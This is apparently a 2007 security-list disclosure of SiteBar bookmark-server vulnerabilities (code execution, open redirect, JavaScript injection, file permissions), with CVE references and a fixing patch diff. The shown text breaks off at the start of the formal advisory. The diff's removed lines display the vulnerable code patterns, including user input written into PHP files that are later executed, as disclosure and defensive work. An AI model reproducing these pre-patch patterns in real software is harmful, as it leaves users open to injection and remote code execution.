All, As a result of a short security audit of SiteBar, a number of security holes were found. The holes included code execution, a malicious redirect and multiple cases of Javascript injection. After liasing with the developers, the holes have been patched. Attached are the advisory and patch relating to these flaws. CVEs open already relating to this audit: * CVE-2006-3320 (Javascript injection) - previously reported by other parties but not resolved and so included for completeness * CVE-2007-5492 (code execution) - first reported in my attached advisory to the vendor, independently rediscovered by Robert Buchholz of Gentoo whilst auditing the differences between the patched and unpatched versions (3.3.8 vs 3.3.9) * CVE-2007-5491 (file permissions issue) - apparently patched by the vendor at the same time as my issues were resolved and discovered by Robert Buchholz of Gentoo whilst auditing the differences between the patched and unpatched versions (3.3.8 vs 3.3.9) It is intended that CVE-2007-5492 will be updated to reference both code execution flaws I reported. All other issues in the advisory have been patched but no CVEs have yet been requested or assigned to the best of my knowledge. Tim -- Tim Brown <mailto:timb (at) nth-dimension.org (dot) uk [email concealed]> <http://www.nth-dimension.org.uk/> Index: command.php =================================================================== --- command.php (revision 412) +++ command.php (working copy) @@ -94,8 +94,15 @@ { if (!$this->um->isAuthorized($this->command, in_array($this->command, array('Log In', 'Log Out', 'Sign Up')), - SB_reqVal('command_gid'), SB_reqVal('nid_acl'), SB_reqVal('lid_acl'))) + SB_reqValInt('command_gid'), SB_reqValInt('nid_acl'), SB_reqValInt('lid_acl'))) { + $bld = 'build' . $this->shortName(); + $cmd = 'command' . $this->shortName(); + + if (!method_exists($this,$bld) && !method_exists($this,$cmd)) + { + $this->command = 'Unknown command!'; + } $this->um->accessDenied(); return; } @@ -849,6 +856,7 @@ // be otherwise lost. Needed to go back. if ($disabled && $params['type'] == 'text') { + $params['value'] = str_replace('"',"'",$params['value']); ?> <input type="hidden" name="<?php echo SB_safeVal($params,'name') ?>" value="<?php echo $params['value']?>"> <?php @@ -857,6 +865,7 @@ if ($name{0} == '-') { + $params['value'] = str_replace('"',"'",$params['value']); ?> <input type="hidden" name="<?php echo $params['name']?>" value="<?php echo $params['value']?>"> <?php @@ -927,7 +936,7 @@ } elseif (isset($params['type']) && ($params['type'] == 'button') || ($params['type'] == 'addbutton')) { - if (!$this->um->isAuthorized($name,false,null,SB_reqVal('nid_acl'),SB_reqVa l('lid_acl'))) continue; + if (!$this->um->isAuthorized($name,false,null,SB_reqValInt('nid_acl'),SB_re qValInt('lid_acl'))) continue; if ($params['type'] == 'button') { @@ -1664,7 +1673,7 @@ function buildDeleteTree() { - $node = $this->tree->getNode(SB_reqVal('nid_acl',true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl',true)); if (!$node) return null; $fields['Folder Name'] = array('name'=>'name','value'=>$node->name, 'disabled'=>null); @@ -1677,10 +1686,10 @@ function commandDeleteTree() { - $this->tree->removeNode(SB_reqVal('nid_acl'), false); + $this->tree->removeNode(SB_reqValInt('nid_acl'), false); if ($this->um->getParam('user','use_trash')) { - $this->tree->purgeNode(SB_reqVal('nid_acl')); + $this->tree->purgeNode(SB_reqValInt('nid_acl')); } SB_unsetVal('nid_acl'); $this->forwardCommand('Maintain Trees'); @@ -1834,7 +1843,8 @@ return; } - if (SB_reqChk('forward')) + // This should handle login from translator.php, we should avoid external redirect + if (SB_reqChk('forward') && strpos(SB_reqVal('forward'),'/') === false) { header('Location: '.SB_reqVal('forward')); exit; @@ -2681,14 +2691,14 @@ return null; } - if (SB_reqVal('uid') == SB_ADMIN) + $uid = intval(SB_reqVal('uid')); + + if ($uid == SB_ADMIN) { $this->error('Cannot modify administrator!'); return null; } - $uid = SB_reqVal('uid'); - $fields = array(); $user = $this->um->getUser($uid); $fields['Username'] = array('name'=>'email', 'value'=>$user['username'], 'disabled' => null); @@ -3960,7 +3970,7 @@ function buildAddFolder() { $fields = array(); - $node = $this->tree->getNode(SB_reqVal('nid_acl',true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl',true)); if (!$node) return null; if ($this->command == 'Add Folder') @@ -4020,7 +4030,7 @@ function commandAddFolder() { - $nid = $this->tree->addNode(SB_reqVal('nid_acl'),SB_reqVal('name'), + $nid = $this->tree->addNode(SB_reqValInt('nid_acl'),SB_reqVal('name'), SB_reqVal('comment'), SB_reqVal('sort_mode')); if ($this->um->pmode && !$this->hasErrors()) @@ -4037,7 +4047,7 @@ $this->skipBuild = true; $this->reload = !$this->um->getParam('user','extern_commander'); $this->close = $this->um->getParam('user','auto_close'); - $this->um->hiddenFolders[SB_reqVal('nid_acl')] = 1; + $this->um->hiddenFolders[SB_reqValInt('nid_acl')] = 1; $this->um->setParam('user','hidden_folders', implode(':',array_keys($this->um->hiddenFolders))); $this->um->saveUserParams(); } @@ -4048,7 +4058,7 @@ $this->reload = !$this->um->getParam('user','extern_commander'); $this->close = $this->um->getParam('user','auto_close'); - $parent = $this->tree->getNode(SB_reqVal('nid_acl')); + $parent = $this->tree->getNode(SB_reqValInt('nid_acl')); $this->tree->loadNodes($parent, false, 'select', true); @@ -4073,7 +4083,7 @@ function buildFolderProperties() { - $node = $this->tree->getNode(SB_reqVal('nid_acl', true)); + $node = $this->tree->getNode( intval(SB_reqValInt('nid_acl', true)) ); $fields = $this->buildAddFolder(); @@ -4100,13 +4110,13 @@ function commandFolderProperties() { - $node = $this->tree->getNode(SB_reqVal('nid_acl', true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl', true)); if ($node->id_parent && !$node->parentHasRight('update')) { return; } - $nid = SB_reqVal('nid_acl'); + $nid = SB_reqValInt('nid_acl'); $columns = array ( @@ -4131,7 +4141,7 @@ function buildCustomOrder() { - $node = $this->tree->getNode(SB_reqVal('nid_acl', true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl', true)); $this->tree->loadNodes($node); $fields['-raw1-'] = "<table cellpadding='0'>"; @@ -4155,7 +4165,7 @@ function commandCustomOrder() { - $node = $this->tree->getNode(SB_reqVal('nid_acl', true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl', true)); $this->tree->loadNodes($node); $order = array(); @@ -4196,7 +4206,7 @@ $fields['Delete Content Only'] = array('name'=>'content','type'=>'checkbox', 'title'=>SB_P('command::tooltip_delete_content')); - $node = $this->tree->getNode(SB_reqVal('nid_acl', true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl', true)); if ($this->_deleteContentOnly($node)) { @@ -4209,14 +4219,14 @@ function commandDeleteFolder() { - $node = $this->tree->getNode(SB_reqVal('nid_acl', true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl', true)); $deleteContentOnly = SB_reqVal('content') || $this->_deleteContentOnly($node); - $this->tree->removeNode(SB_reqVal('nid_acl'), $deleteContentOnly); + $this->tree->removeNode(SB_reqValInt('nid_acl'), $deleteContentOnly); if (!$this->um->getParam('user','use_trash') && $node->hasRight('purge')) { - $this->tree->purgeNode(SB_reqVal('nid_acl')); + $this->tree->purgeNode(SB_reqValInt('nid_acl')); } } @@ -4229,7 +4239,7 @@ function commandPurgeFolder() { - $this->tree->purgeNode(SB_reqVal('nid_acl')); + $this->tree->purgeNode(SB_reqValInt('nid_acl')); } /*********************************************************************** *******/ @@ -4241,7 +4251,7 @@ function commandUndelete() { - $this->tree->undeleteNode(SB_reqVal('nid_acl')); + $this->tree->undeleteNode(SB_reqValInt('nid_acl')); } /*********************************************************************** *******/ @@ -4261,7 +4271,7 @@ $sourceId = SB_reqVal('sid',true); $sourceIsNode = SB_reqVal('stype',true); $sourceObj = null; - $targetID = SB_reqVal('nid_acl',true); + $targetID = SB_reqValInt('nid_acl',true); $targetNode = $this->tree->getNode($targetID); $sourceNodeId = $sourceId; @@ -4337,7 +4347,7 @@ function commandPaste() { - $targetID = SB_reqVal('nid_acl'); + $targetID = SB_reqValInt('nid_acl'); $sourceId = SB_reqVal('sid',true); $sourceIsNode = SB_reqVal('stype',true); $move = SB_reqVal('mode',true)=='Move'; @@ -4401,10 +4411,10 @@ function buildEmailLink() { $fields = array(); - $link = $this->tree->getLink(SB_reqVal('lid_acl')); + $link = $this->tree->getLink(SB_reqValInt('lid_acl')); if (!$link) return null; - $fields['--hidden1--'] = array('name'=>'lid_acl', 'value'=> SB_reqVal('lid_acl')); + $fields['--hidden1--'] = array('name'=>'lid_acl', 'value'=> SB_reqValInt('lid_acl')); if ($this->um->canUseMail()) { @@ -4433,7 +4443,7 @@ return; } - $link = $this->tree->getLink(SB_reqVal('lid_acl')); + $link = $this->tree->getLink(SB_reqValInt('lid_acl')); if (!$link) return null; $subject = SB_T('SiteBar: Web site') . ' ' . $link->name; @@ -4520,7 +4530,7 @@ if (SB_reqChk('nid_acl') && SB_reqVal('bookmarklet')!=1) { - $node = $this->tree->getNode(SB_reqVal('nid_acl')); + $node = $this->tree->getNode(SB_reqValInt('nid_acl')); $fields['-hidden0-'] = array('name'=>'nid_acl','value'=>$node->id); $fields['Parent Folder'] = array('name'=>'parent', 'value'=>$node->name,'disabled'=>null); @@ -4604,7 +4614,7 @@ function commandAddLink() { - $nid = SB_reqVal('nid_acl',true); + $nid = SB_reqValInt('nid_acl',true); $node = $this->tree->getNode($nid); if (!$node) return; @@ -4639,7 +4649,7 @@ if (!$page->isDead && $page->errorCode['FAVURL']<PP_ERR) { $favicon = $page->info['FAVURL']; - $favurl = 'favicon.php?' . md5($favicon) . '=' . SB_reqVal('lid_acl'); + $favurl = 'favicon.php?' . md5($favicon) . '=' . SB_reqValInt('lid_acl'); $this->message = SB_T('Favicon <img src="%s"> found at url %s.', array($favurl, $url)); } else @@ -4675,7 +4685,7 @@ function commandMarkasDefault() { - $this->um->setParam('user','default_folder',SB_reqVal('nid_acl')); + $this->um->setParam('user','default_folder',SB_reqValInt('nid_acl')); $this->um->saveUserParams(); exit; } @@ -4712,7 +4722,7 @@ if ($this->command!='Add Link') { - $link = $this->tree->getLink(SB_reqVal('lid_acl')); + $link = $this->tree->getLink(SB_reqValInt('lid_acl')); if (!$link) return null; } else @@ -4805,7 +4815,7 @@ } else { - $fields['-raw2-'] = $this->_buildFavicon(SB_reqVal('lid_acl'), $link->favicon); + $fields['-raw2-'] = $this->_buildFavicon(SB_reqValInt('lid_acl'), $link->favicon); } } } @@ -4910,7 +4920,7 @@ { if (SB_reqVal('private')) { - $link = $this->tree->getLink(SB_reqVal('lid_acl')); + $link = $this->tree->getLink(SB_reqValInt('lid_acl')); if (!$link) return; if (!$this->tree->inMyTree($link->id_parent)) { @@ -4941,7 +4951,7 @@ else { // Delete old URL favicon from cache on update to allow new version - $fc->purge(SB_reqVal('lid_acl')); + $fc->purge(SB_reqValInt('lid_acl')); } } @@ -4962,13 +4972,13 @@ $update['is_dead'] = 0; } - $this->tree->updateLink(SB_reqVal('lid_acl', true), $update); + $this->tree->updateLink(SB_reqValInt('lid_acl', true), $update); } function buildExportDescription() { $fields['Decode Using'] = array('type'=>'callback', 'function'=>'_buildDecodeUsing'); - $fields['-hidden1-'] = array('name'=>'lid_acl','value'=>SB_reqVal('lid_acl')); + $fields['-hidden1-'] = array('name'=>'lid_acl','value'=>SB_reqValInt('lid_acl')); return $fields; } @@ -4984,7 +4994,7 @@ function commandExportDescription() { - $link = $this->tree->getLink(SB_reqVal('lid_acl')); + $link = $this->tree->getLink(SB_reqValInt('lid_acl')); if (!strlen($link->comment)) { $this->error('Cannot export empty description!'); @@ -5019,7 +5029,7 @@ { $fields['Description File'] = array('type'=>'file','name'=>'file'); $fields['Encode Using'] = array('type'=>'callback', 'function'=>'_buildEncodeUsing'); - $fields['-hidden1-'] = array('name'=>'lid_acl','value'=>SB_reqVal('lid_acl')); + $fields['-hidden1-'] = array('name'=>'lid_acl','value'=>SB_reqValInt('lid_acl')); return $fields; } @@ -5039,7 +5049,7 @@ return; } $filename = $_FILES['file']['tmp_name']; - $link = $this->tree->getLink(SB_reqVal('lid_acl')); + $link = $this->tree->getLink(SB_reqValInt('lid_acl')); if ($this->hasErrors()) { @@ -5109,7 +5119,7 @@ function commandDeleteLink() { - $link = $this->tree->getLink(SB_reqVal('lid_acl')); + $link = $this->tree->getLink(SB_reqValInt('lid_acl')); if (!$link) { @@ -5135,7 +5145,7 @@ function buildSecurity() { $fields = array(); - $node = $this->tree->getNode(SB_reqVal('nid_acl',true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl',true)); $fields['Folder Name'] = array('name'=>'name','value'=>$node->name,'disabled'=>null); $fields['Security'] = array('type'=>'callback', @@ -5263,7 +5273,7 @@ { $groups = $this->um->getGroups(); $myGroups = $this->um->getUserGroups(); - $node = $this->tree->getNode(SB_reqVal('nid_acl',true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl',true)); $sameACL = true; $updated = 0; @@ -5335,7 +5345,7 @@ function buildValidateLinks() { $fields = array(); - $node = $this->tree->getNode(SB_reqVal('nid_acl',true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl',true)); if (!$node) return null; $fields['Folder Name'] = array('name'=>'name','maxlength'=>255, @@ -5370,7 +5380,7 @@ function buildValidation() { $fields = array(); - $node = $this->tree->getNode(SB_reqVal('nid_acl',true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl',true)); if (!$node) return null; require_once('./inc/validator.inc.php'); @@ -5415,7 +5425,7 @@ function buildImportBookmarks() { $fields = array(); - $node = $this->tree->getNode(SB_reqVal('nid_acl',true)); + $node = $this->tree->getNode(SB_reqValInt('nid_acl',true)); $loaders['auto'] = array('', true); $dirName = './inc/loaders'; @@ -5535,7 +5545,7 @@ 'Imported %s link(s) into %s folder(s) from the bookmark file.', array($bm->importedLinks, $bm->importedFolders)); - $this->tree->importTree(SB_reqVal('nid_acl'), $bm->root, SB_reqChk('rename')); + $this->tree->importTree(SB_reqValInt('nid_acl'), $bm->root, SB_reqChk('rename')); } function optionalExportBookmarks() @@ -5623,7 +5633,7 @@ if (!SB_reqChk('doall')) { - $fields['-hidden1-'] = array('name'=>'nid_acl','value'=>SB_reqVal('nid_acl')); + $fields['-hidden1-'] = array('name'=>'nid_acl','value'=>SB_reqValInt('nid_acl')); } else { @@ -5681,9 +5691,9 @@ } } - if (SB_reqChk('nid_acl') && SB_reqVal('nid_acl')>0) + if (SB_reqChk('nid_acl') && SB_reqValInt('nid_acl')>0) { - $params[] = 'root=' . SB_reqVal('nid_acl'); + $params[] = 'root=' . SB_reqValInt('nid_acl'); } if (count($params)) @@ -5718,7 +5728,7 @@ if (!SB_reqChk('doall')) { - $fields['-hidden1-'] = array('name'=>'nid_acl','value'=>SB_reqVal('nid_acl')); + $fields['-hidden1-'] = array('name'=>'nid_acl','value'=>SB_reqValInt('nid_acl')); } else { Index: google.php =================================================================== --- google.php (revision 0) +++ google.php (revision 0) @@ -0,0 +1,67 @@ +<?php + +/********************************************************************** ******** + * SiteBar 3 - The Bookmark Server for Personal and Team Use. * + * Copyright (C) 2006 Ondrej Brablc <http://brablc.com/mailto?o> * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * + ************************************************************************ ******/ + +header("Content-type: text/xml"); +echo '<?xml version="1.0" encoding="UTF-8" ?>'."n"; +?> +<Module> + <ModulePrefs + title="SiteBar" + description="SiteBar Bookmark Manager" + author="Ondrej Brablc" + author_affiliation="SiteBar.org" + author_location="Prague, Czech Republic" + title_url="http://www.sitebar.org/" + category="communication" + category2="tools" + /> + <Content type="html"> + <![CDATA[ +<?php + $height = "400px"; + if (isset($_GET['height'])) + { + if (preg_match('/^(d+)(.*)?$/',$_GET['height'],$reg)) + { + $height = $reg[1]; + if ($reg[2] == '%') + { + $height .= '%'; + } + else + { + $height .= 'px'; + } + } + } + + require_once('./inc/errorhandler.inc.php'); + require_once('./inc/page.inc.php'); + require_once('./inc/usermanager.inc.php'); + + $um = SB_UserManager::staticInstance(); + $url = SB_Page::absBaseUrl(); +?> + <iframe style="border: none; width:100%;height:<?php echo $height;?>" + src="<?php echo $url;?>?target=_top" /> + ]]> + </Content> +</Module> Index: inc/database.inc.php =================================================================== --- inc/database.inc.php (revision 412) +++ inc/database.inc.php (working copy) @@ -18,7 +18,7 @@ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * ************************************************************************ ******/ -define ( 'SB_CURRENT_RELEASE', '3.3.8'); +define( 'SB_CURRENT_RELEASE', '3.3.9'); require_once('./inc/errorhandler.inc.php'); @@ -209,10 +209,12 @@ function fetchRecord($request, $binary = false) { + $this->sw->cont(); $record = $this->fetchArray($request); if (!$record) { + $this->sw->pause(); return false; } else @@ -221,12 +223,14 @@ { array_walk($record, array( $this, '_unescape')); } + $this->sw->pause(); return $record; } } function fetchRecords($request) { + $this->sw->cont(); $records = array(); while (($record = $this->fetchArray($request))) @@ -235,6 +239,7 @@ $records[] = $record; } + $this->sw->pause(); return $records; } Index: inc/errorhandler.inc.php =================================================================== --- inc/errorhandler.inc.php (revision 412) +++ inc/errorhandler.inc.php (working copy) @@ -27,7 +27,7 @@ // Please note that the http server must have rights to write to the file // specified bellow. You may change the log file path here. define('SB_LOG_FILE_PATH', 'sitebar.log'); -define('SB_SHOW_PHP_ERRORS', SB_DEBUGGING); +define('SB_SHOW_PHP_ERRORS', false); define('SB_LOG_HTTP', SB_DEBUGGING && false); define('SB_LOG_SQL', SB_DEBUGGING && false); Index: inc/loaders/netscape.inc.php =================================================================== --- inc/loaders/netscape.inc.php (revision 412) +++ inc/loaders/netscape.inc.php (working copy) @@ -61,7 +61,7 @@ $line = $this->toUTF8($line); // Open node - if (preg_match('/<DT.*><H3([^>]*)>([^<]+)</H3>/i', $line, $reg )) + if (preg_match('/<DT.*><H3([^>]*)>([^<]*)</H3>/i', $line, $reg )) { $rec = array(); $params = $reg[1]; @@ -78,7 +78,7 @@ } // Add link to current node - if (preg_match('/<DT.*><A HREF="([^"]+)"([^>]*)>([^<]+)</A>/i',$line, $reg )) + if (preg_match('/<DT.*><A HREF="([^"]+)"([^>]*)>([^<]*)</A>/i',$line, $reg )) { $rec = array(); $rec['url'] = $reg[1]; @@ -126,7 +126,7 @@ $comment = $this->toUTF8($reg[1]); $line = array_shift($this->lines); - while (count($this->lines) && !preg_match('/</?DL>/i', $line )) + while (count($this->lines) && !preg_match('/</?D[LT]>/i', $line )) { $comment .= "r".$this->toUTF8($line); $line = array_shift($this->lines); Index: inc/page.inc.php =================================================================== --- inc/page.inc.php (revision 412) +++ inc/page.inc.php (working copy) @@ -62,6 +62,16 @@ return $is?$_REQUEST[$name]:$default; } +function SB_reqValInt($name, $mandatory=false, $default='') +{ + $is = SB_reqChk($name); + if ($mandatory && !$is) + { + die('Expected field "'. $name .'" was not filled!'); + } + return $is?intval($_REQUEST[$name]):$default; +} + function SB_setVal($name, $value) { $_REQUEST[$name]=$value; @@ -424,7 +434,15 @@ if ($trg === null) { $target = (SB_Page::isMSIE()||SB_Page::isOPERA()?'_main':'_content'); - if (isset($_REQUEST['target'])) $target = $_REQUEST['target']; + if (isset($_REQUEST['target'])) + { + $newtarget = $_REQUEST['target']; + + if (preg_match('/^w+/', $newtarget)) + { + $target = $newtarget; + } + } $trg = $target; } return $trg; Index: inc/tree.inc.php =================================================================== --- inc/tree.inc.php (revision 412) +++ inc/tree.inc.php (working copy) @@ -651,9 +651,22 @@ if (SB_ALL_LINKS_FOR_ID != $uid) { + // Ignore deleted roots (of other owners) $where = array('^1'=>'uid <> '.$uid, '^2'=>'AND', 'deleted_by'=>null); - // Ignore deleted roots (of other owners) + // We use cache, if it is not defined now, it will be defined next time + // !! PERFORMANCE + // If users are playing too much with ACL, this would be slow as well, + // because cache is always deleted. + $vis_nodes = $this->db->getCache('vis_nodes',$uid); + if (is_array($vis_nodes)) + { + if (strlen($vis_nodes['cvalue'])>0) + { + $where['^3']='AND r.nid in ('.$vis_nodes['cvalue'].')'; + } + } + $rset = $this->db->select( $select, $from, $where); // Check all roots - can be slow with many users @@ -987,8 +1000,8 @@ return $aclNodes; } - $rset = $this->db->select('distinct nid', 'sitebar_acl', - array( '^1'=> 'gid in ('.implode(',',$gids).')')); + $rset = $this->db->select('distinct a.nid', 'sitebar_acl a join sitebar_node n', + array( '^1'=> 'gid in ('.implode(',',$gids).') and a.nid=n.nid and deleted_by IS NULL')); $aclNodes = array(); while (($rec=$this->db->fetchRecord($rset))) Index: inc/writers/blogroll.inc.php =================================================================== --- inc/writers/blogroll.inc.php (revision 412) +++ inc/writers/blogroll.inc.php (working copy) @@ -48,7 +48,7 @@ function js($value) { - return "document.writeln('" . str_replace('"','"',$value) . "');r"; + return "document.writeln('" . str_replace("'","\'",$value) . "');r"; } function drawHead() Index: inc/writers/opera.inc.php =================================================================== --- inc/writers/opera.inc.php (revision 412) +++ inc/writers/opera.inc.php (working copy) @@ -46,7 +46,7 @@ echo "tNAME=".$node->name."r"; if ($node->comment) { - echo "tDESCRIPTION=".$node->comment."r"; + echo "tDESCRIPTION=".$this->quoteComment($node->comment)."r"; } echo "r"; } @@ -56,6 +56,14 @@ echo "-rr"; } + function quoteComment(&$comment) + { + $comment = str_replace("rn","x2", $comment); + $comment = str_replace("n","x2", $comment); + $comment = str_replace("r","x2", $comment); + return $comment; + } + function drawLink(&$node, &$link) { echo "#URLr"; @@ -63,7 +71,7 @@ echo "tURL=".$link->url."r"; if ($link->comment) { - echo "tDESCRIPTION=".$link->comment."r"; + echo "tDESCRIPTION=".$this->quoteComment($link->comment)."r"; } echo "r"; } Index: inc/writers/rss.inc.php =================================================================== --- inc/writers/rss.inc.php (revision 412) +++ inc/writers/rss.inc.php (working copy) @@ -79,7 +79,7 @@ $this->drawTag('generator', null, 'SiteBar ' . SB_CURRENT_RELEASE . ' (Bookmark Server; http://sitebar.org/)'); // Time to live in minutes - $this->drawTag('ttl', null, null, '60'); + $this->drawTag('ttl', null, '60'); } function drawLink(&$node, &$link) @@ -96,29 +96,33 @@ // $this->drawTag('author', null, null); $this->drawTag('link', null, $this->quoteText($link->url)); - $this->drawTag('description', null, $this->quoteText($link->comment)); + if (strlen($link->comment)) + { + $this->drawTag('description', null, $this->quoteText($link->comment)); + } + $date = ''; $append = ''; switch ($this->tree->sortMode) { case 'changed': - $date = $this->getDateISO8601($link->changed); + $date = $link->changed; $append = '#' . $date; break; case 'tested': - $date = $this->getDateISO8601($link->tested); + $date = $link->tested; $append = '#' . $date; break; case 'hits': $append = '#' . $link->hits; - $date = $this->getDateISO8601($link->visited); + $date = $link->visited; break; case 'visited': - $date = $this->getDateISO8601($link->visited); + $date = $link->visited; $append = '#' . $date; break; case 'added': - $date = $this->getDateISO8601($link->added); + $date = $link->added; break; default: $date = ($link->added>$link->changed?$link->added:$link->changed); Index: integrator.php =================================================================== --- integrator.php (revision 412) +++ integrator.php (working copy) @@ -54,7 +54,10 @@ SB_Page::absBaseUrl($_COOKIE['sbi_url']); SB_Skin::set($_COOKIE['sbi_skin']); -SB_SetLanguage($_GET['lang']); +if (preg_match('/^w+/', $_GET['lang'])) +{ + SB_SetLanguage($_GET['lang']); +} if (isset($_REQUEST['install'])) { @@ -102,7 +105,7 @@ ( 'label' =>'Mozilla Firefox', 'homepage' =>'http://www.mozilla.org/products/firefox/', - 'platforms'=>'1.0,1.5/WinXP,Linux', + 'platforms'=>'1.0,1.5,2.0/WinXP,Linux', 'usage' => '', 'exclude' =>array(), 'extra' =>array('sitebar_client','bmsync','sitebar','sidebar','livebookmarks','m ozlinker','search_engine'), @@ -173,7 +176,7 @@ 'sitebar_client' => array ( 'label' => 'SiteBar Client', - 'url' => 'https://addons.mozilla.org/extensions/moreinfo.php?application=firefox& amp;id=1545', + 'url' => 'https://addons.mozilla.org/firefox/3605/', 'desc' => SB_P('integrator::hint_sitebar'), ), Index: news.php =================================================================== --- news.php (revision 412) +++ news.php (working copy) @@ -24,6 +24,10 @@ SB_handleRootCookie('news.php'); $_REQUEST['w'] = 'news'; + +require_once('./inc/writers/xbel.inc.php'); +require_once('./inc/writers/dir.inc.php'); +require_once('./inc/writers/news.inc.php'); include('index.php'); ?> Index: sql/downgrade_3.3.9.sql =================================================================== --- sql/downgrade_3.3.9.sql (revision 0) +++ sql/downgrade_3.3.9.sql (revision 0) @@ -0,0 +1,2 @@ +UPDATE `sitebar_config` + SET `release` = '3.3.8'; Index: sql/install.sql =================================================================== --- sql/install.sql (revision 412) +++ sql/install.sql (working copy) @@ -18,7 +18,7 @@ CREATE TABLE `sitebar_config` ( `gid_admins` int(10) unsigned NOT NULL DEFAULT '1', `gid_everyone` int(10) unsigned NOT NULL DEFAULT '2', - `release` varchar(10) NOT NULL DEFAULT '3.3.8', + `release` varchar(10) NOT NULL DEFAULT '3.3.9', `changed` datetime NOT NULL default '0000-00-00 00:00:00', `params` text ) Index: sql/upgrade_3.3.8.sql =================================================================== --- sql/upgrade_3.3.8.sql (revision 0) +++ sql/upgrade_3.3.8.sql (revision 0) @@ -0,0 +1,2 @@ +UPDATE `sitebar_config` + SET `release` = '3.3.9'; Index: translator.php =================================================================== --- translator.php (revision 412) +++ translator.php (working copy) @@ -68,20 +68,20 @@ var $infofmt = './locale/%s/%s'; var $langs = array(); var $gid = null; - var $dir = '.'; - var $dirCGI = ''; + var $plugin = ''; + var $pluginCGI = ''; function Translator() { - if (isset($_GET['dir']) || isset($_POST['dir'])) + if (isset($_GET['plugin']) || isset($_POST['plugin'])) { - $dir = isset($_GET['dir'])?$_GET['dir']:$_POST['dir']; + $plugin = isset($_GET['plugin'])?$_GET['plugin']:$_POST['plugin']; - if ($dir != "." && $dir != "") + if ($plugin != "" && preg_match('/^w+$/', $plugin)) { - $this->dir = $dir; + $this->dir = './plugins/'.$plugin; $this->fmt = $this->dir.'/locale/%s/%s'; - $this->dirCGI = "dir=".$this->dir."&"; + $this->pluginCGI = "plugin=".$plugin."&"; } } @@ -283,8 +283,8 @@ <form method="get"> Translate -<select name='dir' onChange="this.form.submit()"> -<option value='.'>SiteBar</option> +<select name='plugin' onChange="this.form.submit()"> +<option value=''>SiteBar</option> <?php $dir = opendir('./plugins'); @@ -308,7 +308,7 @@ continue; } - echo "<option ". ($_GET['dir']==$plugdir?"selected":"") ." value='$plugdir'>Plugin $plugin</option>n"; + echo "<option ". ($_GET['plugin']==$plugin?"selected":"") ." value='$plugin'>Plugin $plugin</option>n"; } closedir($dir); ?> @@ -443,9 +443,9 @@ if ($lang!=DEFAULT_LANGUAGE) { - ?>[<a href='translator.php?lang=<?php echo $lang?>&<?php echo $this->dirCGI ?>edit=<?php echo $part?>'>EDIT</a>]<?php -if ($missing) : ?><br>[<a href='translator.php?lang=<?php echo $lang?>&<?php echo $this->dirCGI ?>cmd=add&edit=<?php echo $part?>'>ADD</a>]<?php endif; -if ($update && !$this->parts[$part]['inline']) : ?><br>[<a href='translator.php?lang=<?php echo $lang?>&<?php echo $this->dirCGI ?>cmd=upd&edit=<?php echo $part?>'>UPD</a>]<?php endif; + ?>[<a href='translator.php?lang=<?php echo $lang?>&<?php echo $this->pluginCGI ?>edit=<?php echo $part?>'>EDIT</a>]<?php +if ($missing) : ?><br>[<a href='translator.php?lang=<?php echo $lang?>&<?php echo $this->pluginCGI ?>cmd=add&edit=<?php echo $part?>'>ADD</a>]<?php endif; +if ($update && !$this->parts[$part]['inline']) : ?><br>[<a href='translator.php?lang=<?php echo $lang?>&<?php echo $this->pluginCGI ?>cmd=upd&edit=<?php echo $part?>'>UPD</a>]<?php endif; } } } @@ -453,7 +453,7 @@ $server = defined("DOWNLOAD_SRV")?DOWNLOAD_SRV:""; ?> - <td class='stat'>[<a href='<?php echo $server?>translator.php?<?php echo $this->dirCGI ?>download=<?php echo $lang?>'>Download</a>]</td> + <td class='stat'>[<a href='<?php echo $server?>translator.php?<?php echo $this->pluginCGI ?>download=<?php echo $lang?>'>Download</a>]</td> </tr> <?php } @@ -486,15 +486,22 @@ SB_Page::head('Edit Translation', 'locale'); ?> <h2>Edit Translation</h2> -[<a href="translator.php?<?php echo $this->dirCGI ?>">Back to Translation List</a>] +[<a href="translator.php?<?php echo $this->pluginCGI ?>">Back to Translation List</a>] <p> <?php + if (!isset($this->parts[$part])) + { + die("Unknown part in edit param!"); + } + + if (!preg_match('/^w+$/',$lang)) + { + die("Not allowed characters in lang param!"); + } + $param = $this->parts[$part]; $file = sprintf($this->fmt,$lang,$param['file']); - mkdir($this->dir.'/locale/'.$lang, 0777); - chmod($this->dir.'/locale/'.$lang, 0777); - include($file); eval('$data = $'.$part.';'); eval('$'.$part.'=array();'); @@ -572,9 +579,17 @@ else { $value = str_replace("rn","n", $value); - fwrite( $fh, "$".$part."['".$label."'] = <<<_Pn"); + fwrite( $fh, "$".$part."['".$label."'] = <<<_SBHDn"); + + // Do not allow here doc to be included in the string, + // otherwise any php code would be executed. + if (strstr($value,"_SBHD")) + { + die("Value must not contain _SBHD pattern!"); + } + fwrite( $fh, $value); - fwrite( $fh, "n_P;nn"); + fwrite( $fh, "n_SBHD;nn"); } } } @@ -601,6 +616,7 @@ <table class="edit"> <input type="hidden" name="dir" value="<?php $this->dir ?>"> <?php + $i = 0; foreach ($default as $label => $value) -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Nth Dimension Security Advisory (NDSA20071016) Date: 16th October 2007 Author: Tim Brown <mailto:timb (at) nth-dimension.org (dot) uk [email concealed]> URL: <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/> Product: SiteBar 3.3.8 <http://www.sitebar.org/> Vendor: Ond&#197;?ej Brablc, David Szego and SiteBar Team <http://www.sitebar.org/> Risk: High Summary This advisory comes in 